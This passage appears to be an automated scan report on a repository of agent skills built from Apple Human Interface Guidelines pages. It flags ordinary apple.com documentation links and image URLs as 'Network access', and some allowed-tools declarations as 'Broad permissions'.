  • Network accessline 164
    [Adding a search interface to your app](https://developer.apple.com/documentation/SwiftUI/Adding-a-search-interface-to-your-app) — SwiftUI
  • Network accessline 166
    [`searchable(text:placement:prompt:)`](https://developer.apple.com/documentation/SwiftUI/View/searchable\(text:placement:prompt:\)) — SwiftUI
  • Network accessline 168
    [`UISearchBar`](https://developer.apple.com/documentation/UIKit/UISearchBar) — UIKit
  • Network accessline 170
    [`UISearchTextField`](https://developer.apple.com/documentation/UIKit/UISearchTextField) — UIKit
  • Network accessline 172
    [`NSSearchField`](https://developer.apple.com/documentation/AppKit/NSSearchField) — AppKit
  • Network accessline 174
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/search-fields#Videos)
  • Network accessline 176
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/1AAA030E-2ECA-47D8-AE09-6D7B72A840F6/10044_wide_250x141_1x.jpg) Get to know the new design system ](https://developer.apple.com/videos/play/wwdc2
  • Network accessline 178
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/BE8FF113-0FE1-40FC-86BF-FE95BE2FF7A5/5027_wide_250x141_1x.jpg) Discoverable design ](https://developer.apple.com/videos/play/wwdc2021/10126)
  • Network accessline 180
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/D45C244B-2038-4692-99A0-6131ED5FD984/5084_wide_250x141_1x.jpg) Craft search experiences in SwiftUI ](https://developer.apple.com/videos/play/wwdc2021/10176)
  • Network accessline 182
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/search-fields#Change-log)

skills/hig-components-status/SKILL.md

  • Network accessline 88
    *Built by [Raintree Technology](https://raintree.technology) · [More developer tools](https://raintree.technology)*

skills/hig-components-status/references/activity-rings.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Activity rings | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/activity-rings
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/activity-rings
  • Network accessline 9
    ![A stylized representation of a set of move, exercise, and stand activity rings denoting progress. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/7
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/activity-rings#Best-practices)
  • Network accessline 17
    ![A screenshot of an in-progress workout screen that displays the current timer value, followed by a list of the current Move, Exercise, and Stand values. The screen also displays an image of the Activity rings, where the state of each ring
  • Network accessline 42
    Move| Exercise| Stand   ---|---|---   ![R-250,G-17,B-79](https://docs-assets.developer.apple.com/published/f347174d08cc485cd465646660bce083/activity-rings-color-swatch-red%402x.png)| ![R-166,G-255,B-0](https://docs-assets.developer.apple.co
  • Network accessline 44
    ![R-250,G-17,B-79](https://docs-assets.developer.apple.com/published/f347174d08cc485cd465646660bce083/activity-rings-color-swatch-red%402x.png)| ![R-166,G-255,B-0](https://docs-assets.developer.apple.com/published/462bfbf466935f89dcc63b1c79
  • Network accessline 56
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/activity-rings#Platform-considerations)
  • Network accessline 60
    ### [iOS](https://developer.apple.com/design/human-interface-guidelines/activity-rings#iOS)
  • Network accessline 62
    Activity rings are available in iOS with [`HKActivityRingView`](https://developer.apple.com/documentation/HealthKitUI/HKActivityRingView). The appearance of the Activity ring element changes automatically depending on whether an Apple Watch
  • Network accessline 71
    ![A screenshot of the Activity summary in the iOS Fitness app with Apple Watch paired. All three Activity rings are displayed.](https://docs-assets.developer.apple.com/published/eab44acde68216f8cbace4a59594b7b6/activity-rings-watch-paired%4
  • Network accessline 75
    ![A screenshot of the Activity summary in the iOS Fitness app with no Apple Watch paired. Only the Move ring is displayed.](https://docs-assets.developer.apple.com/published/ef6b2bf87ac8e2917dae8283236c2965/activity-rings-no-watch-paired%40
  • Network accessline 81
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/activity-rings#Resources)
  • Network accessline 83
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/activity-rings#Related)
  • Network accessline 85
    [Workouts](https://developer.apple.com/design/human-interface-guidelines/workouts)
  • Network accessline 87
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/activity-rings#Developer-documentation)
  • Network accessline 89
    [`HKActivityRingView`](https://developer.apple.com/documentation/HealthKitUI/HKActivityRingView) — HealthKit
  • Network accessline 91
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/activity-rings#Videos)
  • Network accessline 93
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/12499BF9-8217-4A56-81CA-5E7CB66904DD/9856_wide_250x141_1x.jpg) Track workouts with HealthKit on iOS and iPadOS ](https://developer.apple.com/vide
  • Network accessline 95
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/30D3C2CB-B24D-467A-9B20-A369641E966F/4850_wide_250x141_1x.jpg) Build a workout app for Apple Watch ](https://developer.apple.com/videos/play/wwdc2021/10009)
  • Network accessline 97
    [![](https://devimages-cdn.apple.com/wwdc-services/images/D35E0E85-CCB6-41A1-B227-7995ECD83ED5/50551741-78CD-4E8A-9550-7D0EC29D7882/8035_wide_250x141_1x.jpg) Build custom workouts with WorkoutKit ](https://developer.apple.com/videos/play/ww
  • Network accessline 99
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/activity-rings#Change-log)

skills/hig-components-status/references/progress-indicators.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Progress indicators | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/progress-indicators
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/progress-indicators
  • Network accessline 9
    ![A stylized representation of a spinning indeterminate activity indicator above a progress bar. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/983f
  • Network accessline 24
    ![An image of a horizontal progress bar in macOS filled almost to the midpoint with solid color.](https://docs-assets.developer.apple.com/published/ec2a80ba694138d5ac65555f5e3b0734/progress-indicator-determinate-bar%402x.png)Progress bar
  • Network accessline 26
    ![An image of a circular progress indicator in macOS filled almost to the eight o'clock position with solid color.](https://docs-assets.developer.apple.com/published/8288f9d55f529f513e7c3bd33bc3e17a/progress-indicator-determinate-circle%402
  • Network accessline 30
    ![An image of a spinning, circular activity indicator in macOS.](https://docs-assets.developer.apple.com/published/6c1e23fcc6e04603423dacd5df6c48a3/progress-indicator-intermediate-spinner%402x.png)macOS
  • Network accessline 32
    ![An image of a spinning activity indicator in watchOS.](https://docs-assets.developer.apple.com/published/02a8427a04f946d9b80d2907f84ab365/activity-indicators-watch%402x.png)watchOS
  • Network accessline 34
    For developer guidance, see [`ProgressView`](https://developer.apple.com/documentation/SwiftUI/ProgressView).
  • Network accessline 36
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/progress-indicators#Best-practices)
  • Network accessline 54
    **Let people know when halting a process has a negative consequence.** When canceling a process results in lost progress, it’s helpful to provide an [alert](https://developer.apple.com/design/human-interface-guidelines/alerts) that includes
  • Network accessline 56
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/progress-indicators#Platform-considerations)
  • Network accessline 60
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/progress-indicators#iOS-iPadOS)
  • Network accessline 62
    #### [Refresh content controls](https://developer.apple.com/design/human-interface-guidelines/progress-indicators#Refresh-content-controls)
  • Network accessline 66
    ![A screenshot of a refresh content control spinning while Mail checks for new messages.](https://docs-assets.developer.apple.com/published/861acc5c0d9d6821e3dd4fd7fb42606f/refresh-controls%402x.png)
  • Network accessline 72
    For developer guidance, see [`UIRefreshControl`](https://developer.apple.com/documentation/UIKit/UIRefreshControl).
  • Network accessline 74
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/progress-indicators#macOS)
  • Network accessline 78
    ![An image of a completely filled horizontal progress bar in macOS. The fill is animated to cycle through various shade changes as progress continues.](https://docs-assets.developer.apple.com/published/53c298b42043574cfe1d304c01bfc967/progr
  • Network accessline 80
    ![An image of a spinning, circular activity indicator in macOS.](https://docs-assets.developer.apple.com/published/6c1e23fcc6e04603423dacd5df6c48a3/progress-indicator-intermediate-spinner%402x.png)Indeterminate circular progress indicator
  • Network accessline 86
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/progress-indicators#watchOS)
  • Network accessline 90
    ![An image of a progress bar filling from left to right in watchOS.](https://docs-assets.developer.apple.com/published/33bbf8ea9d047a5933e60cb120d3556e/progress-bar-watch%402x.png)Progress bar
  • Network accessline 92
    ![An image of a circular progress indicator filling clockwise in watchOS.](https://docs-assets.developer.apple.com/published/9327014cf549f926741534698be7d5ee/progress-ring-watch%402x.png)Circular progress indicator
  • Network accessline 94
    ![An image of a spinning activity indicator in watchOS.](https://docs-assets.developer.apple.com/published/02a8427a04f946d9b80d2907f84ab365/activity-indicators-watch%402x.png)Activity indicator
  • Network accessline 96
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/progress-indicators#Resources)
  • Network accessline 98
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/progress-indicators#Developer-documentation)
  • Network accessline 100
    [`ProgressView`](https://developer.apple.com/documentation/SwiftUI/ProgressView) — SwiftUI
  • Network accessline 102
    [`UIProgressView`](https://developer.apple.com/documentation/UIKit/UIProgressView) — UIKit
  • Network accessline 104
    [`UIActivityIndicatorView`](https://developer.apple.com/documentation/UIKit/UIActivityIndicatorView) — UIKit
  • Network accessline 106
    [`UIRefreshControl`](https://developer.apple.com/documentation/UIKit/UIRefreshControl) — UIKit
  • Network accessline 108
    [`NSProgressIndicator`](https://developer.apple.com/documentation/AppKit/NSProgressIndicator) — AppKit
  • Network accessline 110
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/progress-indicators#Change-log)

skills/hig-components-status/references/status-bars.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Status bars | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/status-bars
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/status-bars
  • Network accessline 9
    ![A stylized representation of an iPhone status bar with labels showing the time and cellular, Wi-Fi, and battery levels. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer
  • Network accessline 11
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/status-bars#Best-practices)
  • Network accessline 13
    **Obscure content under the status bar.** By default, the background of the status bar is transparent, allowing content beneath to show through. This transparency can make it difficult to see information presented in the status bar. If cont
  • Network accessline 17
    ![A screenshot of the top half of the Photos app on iPhone, showing a photo filling the screen. The status bar is visible at the top of the screen.](https://docs-assets.developer.apple.com/published/7312261e2309c5707b50e5361375c651/status-b
  • Network accessline 21
    ![A screenshot of the top half of the Photos app on iPhone, showing a photo filling the screen. The status bar is hidden, and only the photo is visible.](https://docs-assets.developer.apple.com/published/546831607b77b71bf7928e60e9949e9b/sta
  • Network accessline 27
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/status-bars#Platform-considerations)
  • Network accessline 31
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/status-bars#Resources)
  • Network accessline 33
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/status-bars#Developer-documentation)
  • Network accessline 35
    [`UIStatusBarStyle`](https://developer.apple.com/documentation/UIKit/UIStatusBarStyle) — UIKit
  • Network accessline 37
    [`preferredStatusBarStyle`](https://developer.apple.com/documentation/UIKit/UIViewController/preferredStatusBarStyle) — UIKit

skills/hig-components-system/SKILL.md

  • Network accessline 108
    *Built by [Raintree Technology](https://raintree.technology) · [More developer tools](https://raintree.technology)*

skills/hig-components-system/references/app-clips.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "App Clips | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/app-clips
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/app-clips
  • Network accessline 9
    ![A sketch of an app icon surrounded by a dashed line, suggesting an App Clip. The image is overlaid with rectangular and circular grid lines and is tinted blue to subtly reflect the blue in the original six-color Apple logo.](https://docs-
  • Network accessline 17
    ![A screenshot of an iPhone Lock Screen. The bottom half of the screen shows the App Clip card for a donut shop’s App Clip as it appears when the person invokes the App Clip.](https://docs-assets.developer.apple.com/published/513ba004266087
  • Network accessline 19
    ![A screenshot of a donut shop’s App Clip on iPhone as it appears when a person confirms the App Clip’s launch on the App Clip card. The App Clip displays a list with various donuts the person can order.](https://docs-assets.developer.apple
  • Network accessline 47
    For developer guidance, see [App Clips](https://developer.apple.com/documentation/AppClip).
  • Network accessline 49
    ## [Designing your App Clip](https://developer.apple.com/design/human-interface-guidelines/app-clips#Designing-your-App-Clip)
  • Network accessline 69
    **Make it easy to pay for a service or product.** Entering payment information can be a long and error-prone task. Consider supporting [Apple Pay](https://developer.apple.com/design/human-interface-guidelines/apple-pay) to offer express che
  • Network accessline 71
    **Avoid requiring people to create an account before they can benefit from your App Clip.** Creating an account is a complex task that takes time and effort. Consider not requiring an account, or think about asking people to create an accou
  • Network accessline 75
    ### [Preserving privacy](https://developer.apple.com/design/human-interface-guidelines/app-clips#Preserving-privacy)
  • Network accessline 77
    The system imposes limits on App Clips to ensure people’s privacy. For example, App Clips can’t perform background operations. For developer guidance, see [Choosing the right functionality for your App Clip](https://developer.apple.com/docu
  • Network accessline 81
    **Consider offering Sign in with Apple.** Sign in with Apple securely retains login information off people’s devices and preserves their privacy. For guidance, see [Sign in with Apple](https://developer.apple.com/design/human-interface-guid
  • Network accessline 83
    **Offer a secure way to pay for services or goods that also respects people’s privacy.** For example, consider offering [Apple Pay](https://developer.apple.com/design/human-interface-guidelines/apple-pay).
  • Network accessline 85
    ### [Showcasing your app](https://developer.apple.com/design/human-interface-guidelines/app-clips#Showcasing-your-app)
  • Network accessline 102
    **Pick the right time to recommend your app.** When someone completes a task or reaches a natural pause, display an [`SKOverlay`](https://developer.apple.com/documentation/StoreKit/SKOverlay) that allows people to initiate a download of you
  • Network accessline 106
    For developer guidance, see [Recommending your app to App Clip users](https://developer.apple.com/documentation/AppClip/recommending-your-app-to-app-clip-users).
  • Network accessline 108
    ### [Limiting notifications](https://developer.apple.com/design/human-interface-guidelines/app-clips#Limiting-notifications)
  • Network accessline 118
    For developer guidance, see [Enabling notifications in App Clips](https://developer.apple.com/documentation/AppClip/enabling-notifications-in-app-clips).
  • Network accessline 120
    ### [Creating App Clips for businesses](https://developer.apple.com/design/human-interface-guidelines/app-clips#Creating-App-Clips-for-businesses)
  • Network accessline 122
    If you’re a platform provider who services businesses, you may create several App Clip experiences in [App Store Connect](https://appstoreconnect.apple.com) and use a single App Clip to power them all. To people using the App Clip, it appea
  • Network accessline 128
    For developer guidance, see [Configuring App Clip experiences](https://developer.apple.com/documentation/AppClip/configuring-the-launch-experience-of-your-app-clip).
  • Network accessline 130
    ## [Creating content for an App Clip card](https://developer.apple.com/design/human-interface-guidelines/app-clips#Creating-content-for-an-App-Clip-card)
  • Network accessline 146
    ![A horizontal row of two App Clip cards. The left App Clip card is for a game and uses Play as the verb for the action button. The right App Clip card is for an app and uses Open as the verb for the action button.](https://docs-assets.deve
  • Network accessline 148
    ## [App Clip Codes](https://developer.apple.com/design/human-interface-guidelines/app-clips#App-Clip-Codes)
  • Network accessline 152
    ![An App Clip Code that uses a badge design with the App Clip logo.](https://docs-assets.developer.apple.com/published/a5b0ac2b9f76d76391473c86a4104ef9/with-appclip-logo%402x.png)App Clip Code with the App Clip logo
  • Network accessline 154
    ![An App Clip Code that uses a design without the App Clip logo.](https://docs-assets.developer.apple.com/published/2441534012373af30bf4e6ac94bbcc20/without-appclip-logo%402x.png)App Clip Code without the App Clip logo
  • Network accessline 156
    App Clip Codes always use the designs Apple provides and follow size, placement, and printing guidelines. Choose between the badge design that uses the App Clip logo ( App Clip) or, when space is at a premium, a design without it. Create A
  • Network accessline 158
    ### [Interacting with App Clip Codes](https://developer.apple.com/design/human-interface-guidelines/app-clips#Interacting-with-App-Clip-Codes)
  • Network accessline 162
    ![A scan-only App Clip Code with callouts for the center icon, visual code, and the App Clip logo.](https://docs-assets.developer.apple.com/published/3e01f3350c0634f35ba0cb54c46b4227/scan-only%402x.png)
  • Network accessline 175
    ![An illustration that shows how a person uses an App Clip Code on a table at a coffee shop. The left side of the illustration shows two people sitting at a table. A placard in the middle of the table contains an App Clip Code. The person o
  • Network accessline 177
    ### [Displaying App Clip Codes](https://developer.apple.com/design/human-interface-guidelines/app-clips#Displaying-App-Clip-Codes)
  • Network accessline 211
    ![An illustration that shows a circle that represents a cylindrical surface. Lines divide the circle into six segments of equal size. One segment represents an App Clip Code and shows how the code doesn’t cover more than one-sixth, or 60 de
  • Network accessline 221
    ![A correctly placed App Clip Code in the upright position.](https://docs-assets.developer.apple.com/published/a6eaaa833a98678b2b93f910f149bb6e/upright-display-right%402x.png)
  • Network accessline 223
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 225
    ![An incorrectly placed App Clip Code that's rotated 90 degrees to the left.](https://docs-assets.developer.apple.com/published/5897608f22eb0d296f1a8189c1f2e38b/upright-display-wrong-1%402x.png)
  • Network accessline 227
    ![An X in a circle to indicate an invalid App Clip Code.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 229
    ![An incorrectly placed App Clip Code that's rotated 135 degrees to the right.](https://docs-assets.developer.apple.com/published/d4b3a7a3d5685fbec4194deb55bbb0c9/upright-display-wrong-2%402x.png)
  • Network accessline 231
    ![An X in a circle to indicate an invalid App Clip Code.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 241
    ![An App Clip Code that uses the badge design and has a minimum diameter of 3/4 inch \(1.9 cm\).](https://docs-assets.developer.apple.com/published/604637e18752ed4948becd174afbc361/sizing-minimum-rectangle%402x.png)
  • Network accessline 243
    ![An App Clip Code that uses the design without the App Clip logo and has a minimum diameter of 3/4 inch \(1.9 cm\).](https://docs-assets.developer.apple.com/published/0aa05fa8f03c37459ea683c058a35a2f/sizing-minimum-circular%402x.png)
  • Network accessline 249
    ![An illustration of an App Clip Code next to a QR code. Red guides denote that both are the same size.](https://docs-assets.developer.apple.com/published/b693a5616cb7a4b58895496c6b834b2d/app-clip-with-qr-code%402x.png)
  • Network accessline 253
    ![An illustration that shows an App Clip Code with the badge design to the left of an App Clip Code without the App Clip logo. A red guide surrounds each App Clip Code, illustrating the clear space requirements.](https://docs-assets.develop
  • Network accessline 255
    ### [Using clear messaging](https://developer.apple.com/design/human-interface-guidelines/app-clips#Using-clear-messaging)
  • Network accessline 259
    ![An illustration that shows two people sitting at a table at a coffee shop. A placard in the middle of the table contains an App Clip Code. The right side of the illustration shows a zoomed-in version of the placard, which contains an App 
  • Network accessline 279
    For more information, see [NFC](https://developer.apple.com/design/human-interface-guidelines/nfc).
  • Network accessline 281
    **Adhere to[Guidelines for Using Apple Trademarks](https://www.apple.com/legal/intellectual-property/guidelinesfor3rdparties.html) when referring to your App Clip and App Clip Codes.** For example, Apple trademarks can’t appear in your app 
  • Network accessline 283
    ### [Customizing your App Clip Code](https://developer.apple.com/design/human-interface-guidelines/app-clips#Customizing-your-App-Clip-Code)
  • Network accessline 285
    Use [App Store Connect](https://appstoreconnect.apple.com) or the [App Clip Code Generator](https://developer.apple.com/app-clips/resources/) command-line tool to create App Clip Codes, and follow best practices to ensure a reliable scannin
  • Network accessline 287
    ![Four App Clip badges, each using different colors. The two on the left use the badge design, and the two on the right use the design without the App Clip logo.](https://docs-assets.developer.apple.com/published/02d96548534ce28b92754477aad
  • Network accessline 291
    ![An illustration of an invalid App Clip Code with a changed aspect ratio.](https://docs-assets.developer.apple.com/published/2243d4c0011526cae9bd3d69e62907ae/customizing-wrong-1%402x.png)
  • Network accessline 293
    ![An X in a circle to indicate an invalid App Clip Code.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 295
    ![An illustration of an invalid App Clip Code with a color gradient instead of a solid background color.](https://docs-assets.developer.apple.com/published/6578f646c8aae8d6ac64ef965b783175/customizing-wrong-2%402x.png)
  • Network accessline 297
    ![An X in a circle to indicate an invalid App Clip Code.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 299
    ![An illustration of an invalid App Clip Code with a drop shadow effect.](https://docs-assets.developer.apple.com/published/658d3fafbc3dfdd11dc26f1b5a7aee48/customizing-wrong-3%402x.png)
  • Network accessline 301
    ![An X in a circle to indicate an invalid App Clip Code.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 303
    **Choose colors with enough contrast that ensure accurate scanning.** Each App Clip Code uses three colors: a foreground color, a background color, and a third color that’s generated for you based on the foreground and background colors. Bo
  • Network accessline 305
    ![An illustration of an App Clip Code that uses the badge design and has callouts for the background, foreground, and generated colors.](https://docs-assets.developer.apple.com/published/aae3a773b90a26b4870f4db43a0c3f94/app-clip-colors%402x
  • Network accessline 307
    ## [Printing guidelines](https://developer.apple.com/design/human-interface-guidelines/app-clips#Printing-guidelines)
  • Network accessline 309
    App Clip Codes offer the best experience to launch App Clips. As a result, it’s important to manufacture and display App Clip Codes that offer a reliable scanning experience for a long time. You can print App Clip Codes yourself, or work wi
  • Network accessline 317
    **Use correct color settings when you convert the generated SVG file to a CMYK image.** Both the [App Clip Code Generator](https://developer.apple.com/app-clips/resources/) command-line tool and [App Store Connect](https://appstoreconnect.a
  • Network accessline 325
    If you create many App Clip Codes with the [App Clip Code Generator](https://developer.apple.com/app-clips/resources/) tool or [App Store Connect](https://appstoreconnect.apple.com), you’ll likely work with a professional printing service. 
  • Network accessline 327
    ### [Verifying your printer’s calibration](https://developer.apple.com/design/human-interface-guidelines/app-clips#Verifying-your-printers-calibration)
  • Network accessline 329
    A reliable scanning experience depends on the quality of your printed App Clip Codes. To ensure printing App Clip Codes results in a reliable scanning experience and to avoid using a printer that can’t print high-quality App Clip Codes, App
  • Network accessline 335
    ## [Legal requirements](https://developer.apple.com/design/human-interface-guidelines/app-clips#Legal-requirements)
  • Network accessline 353
    For more information about using Apple trademarks, see [Guidelines for Using Apple Trademarks](https://www.apple.com/legal/intellectual-property/guidelinesfor3rdparties.html).
  • Network accessline 355
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/app-clips#Platform-considerations)
  • Network accessline 359
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/app-clips#Resources)
  • Network accessline 361
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/app-clips#Related)
  • Network accessline 363
    [Apple Pay](https://developer.apple.com/design/human-interface-guidelines/apple-pay)
  • Network accessline 365
    [Sign in with Apple](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple)
  • Network accessline 367
    [Guidelines for Using Apple Trademarks and Copyrights](https://www.apple.com/legal/intellectual-property/guidelinesfor3rdparties.html)
  • Network accessline 369
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/app-clips#Developer-documentation)
  • Network accessline 371
    [App Clips](https://developer.apple.com/documentation/AppClip)
  • Network accessline 373
    [App Store Connect](https://appstoreconnect.apple.com/)
  • Network accessline 375
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/app-clips#Videos)
  • Network accessline 377
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/95357E8D-01E6-476E-9516-8AF54EC9794A/4878_wide_250x141_1x.jpg) What's new in App Clips ](https://developer.apple.com/videos/play/wwdc2021/10012)
  • Network accessline 379
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/7120E473-4A84-447D-8B55-0F1614324E59/4879_wide_250x141_1x.jpg) Build light and fast App Clips ](https://developer.apple.com/videos/play/wwdc2021/10013)
  • Network accessline 381
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/app-clips#Change-log)

skills/hig-components-system/references/app-shortcuts.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "App Shortcuts | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/app-shortcuts
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/app-shortcuts
  • Network accessline 9
    ![A stylized representation of the Notes app appearing as the result in the Top Hit area of Spotlight, along with App Shortcuts for creating a new note and opening two other recent notes. The image is tinted red to subtly reflect the red in
  • Network accessline 11
    People can initiate App Shortcuts using features like [Siri](https://developer.apple.com/design/human-interface-guidelines/siri), Spotlight, and the Shortcuts app; using hardware features like the [Action button](https://developer.apple.com
  • Network accessline 15
    ![A partial screenshot of the Shortcuts app on iPhone showing App Shortcuts for FaceTime listed in a grid view. The App Shortcuts are in a group labeled Call Recents, and are each titled with the name of a recent FaceTime contact.](https://
  • Network accessline 17
    App Shortcuts use [App Intents](https://developer.apple.com/documentation/AppIntents) to define actions within your app to make available to the system. Each App Shortcut includes one or more actions that represent a set of steps people mig
  • Network accessline 21
    When you use App Intents to make your app’s actions available to the system, in addition to the App Shortcuts that your app provides, people can also make their own custom shortcuts by combining actions in the Shortcuts app. Custom shortcut
  • Network accessline 23
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/app-shortcuts#Best-practices)
  • Network accessline 27
    **Add flexibility by letting people choose from a set of options.** An App Shortcut can include a single optional value, or parameter, if it makes sense. For example, a meditation app could offer an App Shortcut that lets someone begin a sp
  • Network accessline 29
    ![A diagram of the activation phrase of a shortcut for ordering a drink from a coffee app. The activation phrase contains an optional value for the name of the drink, which is underlined and called out as the shortcut's parameter.](https://
  • Network accessline 33
    **Keep voice interactions simple.** If your phrase feels too complicated when you say it aloud, it’s probably too difficult to remember or say correctly. For example, “Start [sleep] meditation with nature sounds” appears to have two possibl
  • Network accessline 35
    **Make App Shortcuts discoverable in your app.** People are most likely to remember and use App Shortcuts for tasks they do often, once they know the shortcut is available. Consider showing occasional tips in your app when people perform co
  • Network accessline 37
    ### [Responding to App Shortcuts](https://developer.apple.com/design/human-interface-guidelines/app-shortcuts#Responding-to-App-Shortcuts)
  • Network accessline 41
    * Snippets are great for custom views that display static information or dialog options, like showing the weather at a person’s location or confirming an order. For developer guidance, see [`ShowsSnippetView`](https://developer.apple.com/do
  • Network accessline 43
    * [Live Activities](https://developer.apple.com/design/human-interface-guidelines/live-activities) offer continuous access to information that’s likely to remain relevant and change over a period of time, and are great for timers and countd
  • Network accessline 48
    ![A screenshot of the iPhone Home Screen with a custom snippet occupying the top half of the screen. The snippet includes buttons to confirm or cancel a delivery order from a coffee shop, along with the items in the order and the total pric
  • Network accessline 50
    ![A screenshot of the iPhone Home Screen with a Live Activity occupying the top quarter of the screen. The Live Activity shows the estimated time for the arrival of a delivery of an order from a coffee shop, along with the number of items i
  • Network accessline 52
    **Provide enough detail for interaction on audio-only devices.** People can receive responses on audio-only devices such as AirPods and HomePod too, and may not always be able to see content onscreen. Include all critical information in the
  • Network accessline 54
    ## [Editorial guidelines](https://developer.apple.com/design/human-interface-guidelines/app-shortcuts#Editorial-guidelines)
  • Network accessline 56
    **Provide brief, memorable activation phrases and natural variants.** Because an App Shortcut phrase (or a variant you define) is what people say to run an App Shortcut with Siri, it’s important to keep it brief to make it easier to remembe
  • Network accessline 62
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/app-shortcuts#Platform-considerations)
  • Network accessline 66
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/app-shortcuts#iOS-iPadOS)
  • Network accessline 68
    App Shortcuts can appear in the Top Hit area of Spotlight when people search for your app, or in the Shortcuts area below. Each App Shortcut includes a symbol from [SF Symbols](https://developer.apple.com/design/human-interface-guidelines/s
  • Network accessline 70
    ![A partial screenshot showing search results in Spotlight on iPhone, including the Top Hit area at the top of the screen with the Suggestions area beneath it. The Notes app appears as the Top Hit, with App Shortcuts appearing in a row to t
  • Network accessline 74
    **Offer an App Shortcut that starts a Live Activity.** Live Activities allow people to track an event or the progress of a task in glanceable locations across their devices. For example, a cooking app could offer a Live Activity to show the
  • Network accessline 76
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/app-shortcuts#macOS)
  • Network accessline 80
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/app-shortcuts#Resources)
  • Network accessline 82
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/app-shortcuts#Related)
  • Network accessline 84
    [Siri](https://developer.apple.com/design/human-interface-guidelines/siri)
  • Network accessline 86
    [Siri Style Guide](https://developer.apple.com/siri/style-guide/)
  • Network accessline 88
    [Shortcuts User Guide](https://support.apple.com/guide/shortcuts/welcome/ios)
  • Network accessline 90
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/app-shortcuts#Developer-documentation)
  • Network accessline 92
    [App Intents](https://developer.apple.com/documentation/AppIntents)
  • Network accessline 94
    [SiriKit](https://developer.apple.com/documentation/SiriKit)
  • Network accessline 96
    [Making actions and content discoverable and widely available](https://developer.apple.com/documentation/AppIntents/Making-actions-and-content-discoverable-and-widely-available) — App Intents
  • Network accessline 98
    [Integrating custom data types into your intents](https://developer.apple.com/documentation/AppIntents/Integrating-custom-types-into-your-intents) — App Intents
  • Network accessline 100
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/app-shortcuts#Videos)
  • Network accessline 102
